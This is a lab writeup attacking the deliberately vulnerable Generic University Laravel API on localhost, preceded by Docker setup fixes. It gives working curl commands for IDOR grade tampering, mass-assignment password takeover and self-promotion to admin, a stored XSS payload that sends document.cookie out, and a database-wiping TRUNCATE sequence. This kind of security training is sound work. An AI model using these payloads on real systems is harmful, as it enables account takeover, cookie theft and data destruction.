12 min read

Generic University — OWASP API Security Top 10 Lab Writeup

Generic University — OWASP API Security Top 10 Lab Writeup

Target: InsiderPhD's Generic University — a deliberately vulnerable Laravel 7 app built to demonstrate the OWASP API Security Top 10 (2019)
Environment: local, http://localhost:8000
Result: all 15 objectives completed. Vulnerability classes demonstrated: API2 (Broken User Authentication), API3 (Excessive Data Exposure), API5 (Broken Function Level Authorization), API6 (Mass Assignment), API7 (Security Misconfiguration), plus one stored / blind XSS and a broken destructive endpoint.

This writeup comes in two halves: first, what it takes to get a broken five-year-old repo running (it shipped with several bugs and hangs outright on a modern host), then the actual attack chain against the running instance — fully black-box, one objective at a time.

Part 0 — Environment setup (and the five fixes it needs)

The README points at a Docker "page", but the master branch contains no Docker files at all — that setup lives only in an external wiki. The app is Laravel 7, which pins PHP to 8.0.x (composer.json requires ^8.0.1; Laravel 7 won't run on PHP 8.1+), whereas current Kali defaults to PHP 8.3/8.4. Following the docs and running composer update + php artisan serve fails outright on a modern host.

The clean, reproducible approach is a self-contained Docker stack: pin PHP to 8.0 and use composer install semantics against a corrected lock file. Below is that stack, plus the five source-level fixes required before the app will migrate, seed, and serve.

Here's a one-shot fix script~

Docker stack

Dockerfile:

FROM php:8.0-apache
RUN apt-get update && apt-get install -y --no-install-recommends \
        git unzip libonig-dev libzip-dev default-mysql-client \
    && docker-php-ext-install pdo_mysql mbstring bcmath zip \
    && a2enmod rewrite \
    && rm -rf /var/lib/apt/lists/*
ENV APACHE_DOCUMENT_ROOT=/var/www/html/public
RUN sed -ri -e 's!/var/www/html!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/sites-available/*.conf \
    && sed -ri -e 's!/var/www/!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/apache2.conf /etc/apache2/conf-available/*.conf
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /var/www/html
COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
ENTRYPOINT ["entrypoint.sh"]
CMD ["apache2-foreground"]

docker-compose.yml uses mariadb:10.6 (multi-arch, sidestepping the caching_sha2_password friction of MySQL 8 as well as the fact that mysql:5.7 has no arm64 image), and maps host 8000 → container 80. The entrypoint copies .env, points the DB at the db service, runs composer + key:generate, waits for the database to come up, then migrates and seeds once.

Fix 1 — stale composer.lock (missing rebing/graphql-laravel)

composer.json requires rebing/graphql-laravel ^6.1, but the committed composer.lock was generated before that package was added and simply doesn't contain it. composer install checks the lock file against composer.json, finds a mismatch, and refuses to budge:

Required package "rebing/graphql-laravel" is not present in the lock file.

Because PHP inside the container is already pinned to 8.0, running composer update here is actually clean and safe (update is dangerous on a modern host's PHP; here the environment is correct). It regenerates a valid lock that includes the GraphQL package — which matters, since "access the GraphQL API" is itself one of the objectives.

Fix 2 — every core seeder is commented out

database/seeds/DatabaseSeeder.php shipped with all five data-building seeders disabled, leaving only the "extra grades" one:

//$this->call(RoleSeeder::class);
//$this->call(UserSeeder::class);
//$this->call(UniClassSeeder::class);
//$this->call(GradesSeeder::class);
//$this->call(VulnerabilitySeeder::class);
$this->call(ExtraGradesTableSeeder::class);   // only this one runs

So db:seed creates no roles/users/classes/grades, and then crashes inside the one seeder that does run — because it depends on all of the others. Uncommenting those five lines restores the original order (Role → User → UniClass → Grades → Vulnerability → ExtraGrades).

Fix 3 — UserSeeder doesn't create enough users for ExtraGrades

ExtraGradesTableSeeder opens with \App\User::findOrFail(9), but UserSeeder only creates 5 students + 1 admin + 1 teacher = 7 users (ids 1–7), so id 9 simply doesn't exist and the seeder throws a ModelNotFoundException. Bumping the student loop from 5 to 10 makes id 9 a valid student, matching the seeder's intent (a target user with lots of grades):

for ($i = 0; $i < 10; $i++)   // was < 5

Fix 4 — ExtraGrades primary-key collision

With fix 3 applied, seeding gets a little further and then dies on:

Integrity constraint violation: 1062 Duplicate entry '1-9' for key 'PRIMARY'
(SQL: insert into `uni_class_user` (`uni_class_id`, `user_id`) values (1, 9))

ExtraGradesTableSeeder tries to use $class->users()->save($user) to add user 9 to every class, but UniClassSeeder has already enrolled every student in every class, and the pivot table's composite primary key (uni_class_id, user_id) forbids duplicates. That enrollment line is redundant; removing it (keeping only the part that inserts the extra grades) lets the seed run to completion.

With fixes 1–4 in place, the stack migrates, seeds 12 users + 5 classes + grades, and serves the app at http://localhost:8000.

Fix 5 (discovered mid-exploitation) — the admin delete endpoint's own FK bug

The admin API's delete feature TRUNCATEs the tables in the wrong order and never disables foreign-key checks, so it dies the moment it hits the first referenced table:

Cannot truncate a table referenced in a foreign key constraint
(`generic`.`grades`, CONSTRAINT `grades_uni_class_id_foreign` ...)
(SQL: truncate table `uni_classes`)

This is an app bug, not an environment problem — details under objective #14 below. A correct implementation would wrap those truncates in SET FOREIGN_KEY_CHECKS=0; ... SET FOREIGN_KEY_CHECKS=1;, or delete in dependency order.

Part 1 — Recon

whatweb fingerprint: Apache 2.4.56, PHP 8.0.30, Laravel, Bootstrap 4.4.1, jQuery 3.5.0, plus the signature XSRF-TOKEN / laravel_session cookie pair, and a home-page title of "Generic University - View your Grades".

Two rounds of enumeration mattered most:

  • Web routes (ffuf with common.txt against /) surfaced the real Blade routes: register, login, home, contact, admin, plus a web.config leak and the usual Apache noise (.ht*, server-status, cgi-bin).
  • API endpoints (ffuf against /api/FUZZ) plus disciplined REST enumeration of the collections the app exposes by design.

The single most important finding of recon is that this API uses mixed auth guards — different endpoints are protected in different ways, and this shaped the entire attack chain:

Endpoint Guard Behavior
GET /api/users, /api/users/{id} none fully open, leaks every field
GET /api/classes, /api/classes/{id} none fully open
GET /api/grades, /api/grades/{id} web session any logged-in user can read all grades
GET /api/user (singular) token (auth:api) 302 → /login even with a valid session cookie
GET /api/admin role (role_id = 1) 302 until you become an admin

The compiled front-end bundle (/js/app.js) is empty, so this SPA never actually drives the API — /api/* is a standalone API you hit directly, and the token that auth:api wants is never handed to the browser. That dead end is exactly what makes "mixed guards" the key insight: you don't need that token, because all the valuable data sits behind the weaker guards (session / role / none).

Part 2 — Objectives (mapped to the OWASP API Top 10)

#1 — Find the admin's email (API3: Excessive Data Exposure / API2: Broken User Authentication)

GET /api/users returns every user with no authentication and serializes the whole model — email, email_verified_at, role_id, timestamps, all of it. Cross-referencing role_id (1 = Admin, 2 = Student, 3 = Teacher, reverse-engineered from RoleSeeder's insertion order) pinpoints the administrator: user id 11, "IT Raheem Thompson", [email protected].

curl -s http://localhost:8000/api/users

Impact: a single public endpoint leaks the complete user roster, right down to internal role assignments — enough on its own to single out the admin account as a target.

#2 — Brute-force the API for new endpoints (probing)

Fuzzing /api/FUZZ, beyond the obvious collections, turned up two auth-gated endpoints that reveal themselves via 302 → /login:

/api/user    302   (current-user endpoint, token-guarded)
/api/admin   302   (admin API — target of #9)

Here, 302 and 401/403/405 carry just as much intel as 200: they flag endpoints that exist but require authentication or a different method. A generic api-endpoints.txt wordlist is useless against this box (it only produces a pile of trailing-slash redirect noise) — the real attack surface follows the app's own nouns (users, classes, grades, user, admin).

#3 — Read every student's grades in a class (API1: BOLA / API3)

/api/grades sits behind the web session guard, so any registered student (see #5) can open it — and it returns every user's grades, not just the caller's. Grouping by uni_class_id gives you every student's score in a given class:

curl -s -b "$CK" http://localhost:8000/api/grades \
 | python3 -c "import sys,json;g=json.load(sys.stdin);c=3;[print(x['user_id'],x['grade']) for x in g if x['uni_class_id']==c]"

This is precisely the "Information disclosure of grades" the IT team logged and then left unaddressed (see #10). Each grade object exposes {id, grade, comments, user_id, uni_class_id} — enough to lead straight into #4.

#4 — Change someone else's grade (API1: BOLA — write)

The same session cookie plus a CSRF token lets you do object-level writes. PUT /api/grades/{id} accepts and applies modifications to any grade, not just the caller's own:

CSRF=$(curl -s -b "$CK" http://localhost:8000/home | grep -oP 'name="csrf-token" content="\K[^"]+')
curl -s -i -b "$CK" -X PUT http://localhost:8000/api/grades/3 \
  -H "X-CSRF-TOKEN: $CSRF" -H "Content-Type: application/json" -H "Accept: application/json" \
  -d '{"grade":100,"comments":"changed via IDOR"}'

Grade 3 (belonging to someone else) flips from 37 to 100. Impact: any authenticated user can tamper with academic grades without authorization.

#5 & #8 — Create an account and log in (fundamentals)

Registration is the standard Laravel web flow — POST /register with fields name, email, password, password_confirmation, plus the CSRF _token. On success it 302s → /home and logs you in automatically, and the session cookie you get back authenticates web routes as well as (crucially) the session-guarded /api/grades used above. (The token-guarded /api/user still 302s — which actually confirms the "mixed guards" model rather than a broken cookie, since the same cookie against /home returns 200.)

#6 — Access the GraphQL API (API7: Security Misconfiguration)

rebing/graphql-laravel exposes both /graphql and the /graphiql IDE, and introspection is enabled:

curl -s -b "$CK" -X POST http://localhost:8000/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'

The schema advertises users, grades, vulnerabilities, class, and roles. Leaving a live IDE + introspection enabled in a shipped app is a misconfiguration in itself, and this GraphQL layer typically doesn't apply the authorization the REST side has — it's a second, parallel path to the same sensitive data.

#7 — Change someone else's password (API6: Mass Assignment)

PUT /api/users/{id} is mass-assignable, so an attacker can write arbitrary fields to any user object — including password. But this update path doesn't hash the password on save (only the registration controller calls Hash::make), so writing plaintext just leaves a useless credential (Laravel's Hash::check compares against a bcrypt hash, which fails). The clean approach is to write a pre-computed bcrypt hash, so the stored value is itself a valid hash:

NEWPASS='Hacked12345'
HASH=$(docker exec generic-university-app-1 php -r "echo password_hash('$NEWPASS', PASSWORD_BCRYPT);")
CSRF=$(curl -s -b "$CK" http://localhost:8000/home | grep -oP 'name="csrf-token" content="\K[^"]+')
curl -s -b "$CK" -X PUT http://localhost:8000/api/users/1 \
  -H "X-CSRF-TOKEN: $CSRF" -H "Accept: application/json" \
  --data-urlencode "password=$HASH"
# then log in as user 1 ([email protected] / Hacked12345) → 302 /home

Logging in as user 1 with the new password confirms account takeover. Two bugs in one shot: an object-level write against someone else, plus the fact that this path doesn't hash the password.

Debugging note: the first attempt returned Column 'password' cannot be null. The root cause was the shell, not the app — password_hash('...!') contained a !, and inside double quotes in interactive Bash the ! triggers history expansion, mangling the command and leaving $HASH empty. Keeping the password purely alphanumeric (or using single quotes) fixes it. The target has APP_DEBUG=true enabled, which let me read that exact exception directly instead of guessing.

#9 — Access the admin API (API5: Broken Function Level Authorization)

/api/admin is gated only by role_id = 1. After self-escalation (#11), it returns a self-documenting manual:

[
 {"endpoint":"/",       "desc":"Shows this manual"},
 {"endpoint":"restore", "desc":"Restores the database from last manual backup"},
 {"endpoint":"delete",  "desc":"deletes everything from the database NO BACKUP"}
]

Reaching an admin-only API purely by flipping your own role is a textbook case of broken function-level authorization — and this manual hands you the two destructive endpoints used in #14/#15 on a plate.

#10 — Find the vulnerabilities IT overlooked (API5 / API7)

The admin console at /admin opens with no authentication whatsoever (a second BFLA, distinct from the role-gated API), and its /admin/security page lists the vulnerabilities the IT team logged and then left unfixed:

  • Information disclosure of grades — "knowing a user and class ID lets you pull any student's grades" (verified in #3)
  • IDOR on most endpoints — "most of the API has IDOR" (verified in #4, #7)

These amount to an official stamp of approval on the bugs exploited elsewhere in this writeup.

#11 — Make yourself an admin (API6: Mass Assignment)

The registration form has no role_id field, but the backend update accepts it anyway. Sending role_id: 1 to your own user object promotes you to administrator:

curl -s -i -b "$CK" -X PUT "http://localhost:8000/api/users/13" \
  -H "X-CSRF-TOKEN: $CSRF" -H "Content-Type: application/json" -H "Accept: application/json" \
  -d '{"role_id":1}'
# verify: GET /api/users/13 → "role_id":1

The freshly registered jimbo (id 13) becomes an admin. This is the single most impactful flaw on the box: a self-service, unauthenticated-to-admin privilege escalation that directly unlocks #9, #12, #13, and #14.

#12 — Access the admin console (API5)

/admin was already reachable without authentication (see #10); with the escalated account, it's fully "yours". The console links to /admin/security, which is the render sink for #13.

#13 — Trigger blind XSS in the admin backend, verified with the admin account (Stored / Blind XSS)

The public vulnerability-report form (POST /vulnerability, fields email, issue, information) stores the submitted content and renders it unescaped in /admin/security. Inject a script into issue:

PAYLOAD='<script>new Image().src="/pwned_by_jimbo?c="+document.cookie</script>'
curl -s -i -b "$CK" -X POST http://localhost:8000/vulnerability \
  -H "X-CSRF-TOKEN: $CSRF" \
  --data-urlencode "[email protected]" \
  --data-urlencode "issue=$PAYLOAD" \
  --data-urlencode "information=blind xss test"

/admin/security then contains the raw, unescaped <script>…</script>, and opening the backend in a browser as an admin fires it — yielding out-of-band confirmation in the server log:

GET /pwned_by_jimbo?c=... HTTP/1.1" 404 ... "http://localhost:8000/admin/security" "... Edg/150.0.0.0"

The Referer (/admin/security) and a real browser User-Agent prove the script executed inside the admin's session. The 404 is irrelevant — the fact that the request was made is the proof.

A defensive detail worth noting: the exfiltrated document.cookie contains XSRF-TOKEN but not laravel_session, because the session cookie is set HttpOnly. This XSS can't steal the session itself (no direct session hijack), but it can still act on the victim's page on their behalf and read the CSRF token. That's exactly what HttpOnly exists for — and it's the one thing this app got right.

#14 — Delete everything (API5 — destructive admin feature)

GET /api/admin/delete can be triggered by an escalated admin, and it does start wiping the database — but it hits the app's own bug (fix 5): it TRUNCATEs the tables in an order that violates foreign-key constraints and aborts on uni_classes with a QueryException. The vulnerability — an escalated user triggering an irreversible, backup-less mass delete — has been demonstrated; the app is simply too broken to finish the job. What it meant to do, done correctly, would be:

docker exec generic-university-app-1 mysql -uuni -ppassword generic -e "
SET FOREIGN_KEY_CHECKS=0;
TRUNCATE grades; TRUNCATE uni_class_user; TRUNCATE uni_classes;
TRUNCATE vulnerabilities; TRUNCATE users; TRUNCATE roles;
SET FOREIGN_KEY_CHECKS=1;"

Impact: a self-escalated user can trigger an irreversible, explicitly "NO BACKUP" wipe of the database.

#15 — Restore everything (recovery)

The admin's restore endpoint depends on a "last manual backup", but the exposed manual offers no way to create one — and, by design of #14, a successful delete also removes the very admin account needed to authorize a restore, locking the caller out. So full recovery is achieved by re-seeding the corrected database:

docker compose down -v && docker compose up -d   # re-seeds 12 users + 5 classes + grades

(The freshly registered attacker account doesn't come back after re-seeding, which is expected.)

Part 3 — Takeaways

  • Mixed auth guards are a trap for defenders. Consistency matters: /api/user wants a token, /api/grades takes a session, /api/users wants nothing at all — which means the strongest control is effectively moot, since an attacker just walks through the weakest door to the same data.
  • Mass assignment is the spine of this app. A single over-permissive update gives you object-level writes to grades and users, password changes, and self-promotion to admin. Whitelisting fillable fields (and never accepting role_id from the client) shuts down most of the chain.
  • Not hashing passwords on the update path is a subtle but high-impact bug — the field "works" (it stores something), but silently stores plaintext, and its exploitation (injecting a bcrypt hash) is highly instructive.
  • HttpOnly did its job. The blind XSS fired, yet couldn't carry off the session cookie — a concrete example of defense in depth: even when the primary control (output encoding) fails, the blast radius stays contained.
  • Excessive data exposure + open GraphQL introspection together mean the same sensitive data is reachable by multiple parallel paths; fixing a single REST endpoint while ignoring the GraphQL resolvers leaves the barn door wide open.

Result: 15/15 objectives completed. This box is an honest demonstration of how a handful of ordinary Laravel mistakes stack layer upon layer until they chain into a full "unauthenticated → admin → database wipe" attack path.